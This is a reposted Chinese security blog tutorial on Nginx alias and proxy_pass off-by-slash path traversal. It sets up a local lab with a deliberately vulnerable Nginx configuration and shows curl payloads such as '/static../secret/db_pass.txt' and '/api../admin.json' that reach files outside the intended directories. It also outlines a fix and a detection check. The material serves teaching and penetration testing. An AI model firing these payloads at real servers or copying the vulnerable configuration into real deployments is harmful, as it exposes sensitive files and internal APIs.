文章总结： 本文探讨Nginx中alias与proxy_pass指令的路径拼接漏洞，演示了因缺少斜杠导致的目录遍历与反向代理穿透攻击。文章复现了利用payload访问敏感文件的过程，提供了修复配置及检测该漏洞的具体方法，建议测试人员在实战中重点排查此类配置缺陷。 综合评分： 78 文章分类： WEB安全,渗透测试,漏洞分析
nginx反向攻击面的深入理解
原创
richardo1o1 richardo1o1
迪哥讲事
2026年1月29日 09:00 四川
nginx反向攻击面的深入理解
正文
首先需要搭建一个最基本的nginx环境,可以参考:https://t.zsxq.com/tM9mj
然后对nginx的配置进行修改,追加了以下:
# 漏洞测试1：alias指令（静态文件遍历）
location /static {
alias /var/www/html/static_files/; # 注意：alias目录与location名称不同
}
# 漏洞测试2：proxy_pass指令（反向代理穿透）
location /api {
proxy_pass http://localhost:8080/v1/; # 转发到本地8080端口的/v1/路径,如果你在云服务器上,直接用ip替换localhost即可
}
保存后执行：
sudo nginx -t # 检查配置语法
sudo systemctl reload nginx # 热重载配置
准备测试文件
# 创建alias指令的测试目录和文件
sudo mkdir -p /var/www/html/static_files/secret
echo"info secret 666!" | sudo tee /var/www/html/secret/db_pass.txt
echo"public info" | sudo tee /var/www/html/static_files/public.txt
# 创建proxy_pass指令的后端测试文件
mkdir -p ~/internal-api/v1
echo'{"status": "public API"}' > ~/internal-api/v1/data.json
echo'{"admin": "internal API"}' > ~/internal-api/admin.json
# 启动后端服务（端口8080）
cd ~/internal-api && python3 -m http.server 8080 &
到这里环境搭建已经成功了,下面来测试漏洞:
- 测试alias指令漏洞（静态文件遍历）
curl http://127.0.0.1/static/public.txt
# 恶意请求（路径穿越到上级目录）
curl http://127.0.0.1/static../secret/db_pass.txt
预期结果 ：
正常请求返回 公开文件
恶意请求返回 敏感文件：数据库密码
- 测试proxy_pass指令漏洞（反向代理穿透）
# 正常请求（预期返回public API）
curl http://127.0.0.1/api/data.json
# 恶意请求（路径穿越到上级目录）
curl http://127.0.0.1/api../admin.json
果然是有问题的,那我们这里来观察一下
首先是nginx日志:
原样输出,这个很正常,再来看看python3起的服务监听的8080端口:
请注意划红线的两行,就是我前面刚刚发起的请求,再看看nginx配置文件:
现在我们将配置文件改动一下,变为如下:
重新启动nginx服务: systemctl restart nginx
再来看看原来的敏感文件,看能否查看:
发现果然不能访问了,写这篇文章主要是加深对后端以及nginx一些漏洞的相关理解
那如何检测这种漏洞呢?
假设Nginx配置如下(假设这里是有问题的)：
location /api {
proxy_pass http://apiserver/v1/; # 注意结尾有斜杠
}
预期行为 ：所有以/api开头的请求（如/api/user）应转发到后端服务器http://apiserver/v1/user。
实际行为 ：由于/api末尾没有斜杠 ，而proxy_pass的路径有斜杠，拼接时可能产生路径错误。
正常请求示例 1.请求：http://server/api/user
Nginx移除/api，剩余路径/user。
拼接后转发到：http://apiserver/v1//user（双斜杠会被服务器自动合并为单斜杠）。
最终实际访问：http://apiserver/v1/user（正常）。
漏洞利用示例 攻击者构造特殊路径添加../进行路径穿越：
- 请求 ：
http://server/api../
Nginx移除/api，剩余路径../。
拼接后转发到：http://apiserver/v1/../（相当于返回上一级目录）。
最终实际访问：http://apiserver/（访问到v1的上级目录！）。
- 进一步利用 ：
http://server/api../server-status
最终访问：http://apiserver/server-status（可能暴露服务器敏感信息）。
如果以下两个请求返回相同结果 ，则可能存在漏洞:(这里很重要,请仔细品味)
http://server/api/user→转发为http://apiserver/v1//user
http://server/apiuser→转发为http://apiserver/v1/user
因为两者最终都会被服务器规范化为http://apiserver/v1/user，但第二个请求绕过了/api前缀的限制。
我们在日常测试中,要善于发现路径中的这种”api”,它往往隐藏着高赏金的漏洞
如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款
往期回顾
#
如何利用ai辅助挖漏洞
#
如何在移动端抓包-下
#
如何绕过签名校验
#
一款bp神器
挖掘有回显ssrf的隐藏payload
ssrf绕过新思路
一个辅助测试ssrf的工具
dom-xss精选文章
年度精选文章
Nuclei权威指南-如何躺赚
漏洞赏金猎人系列-如何测试设置功能IV
漏洞赏金猎人系列-如何测试注册功能以及相关Tips
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：迪哥讲事 richardo1o1 richardo1o1《nginx反向攻击面的深入理解》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论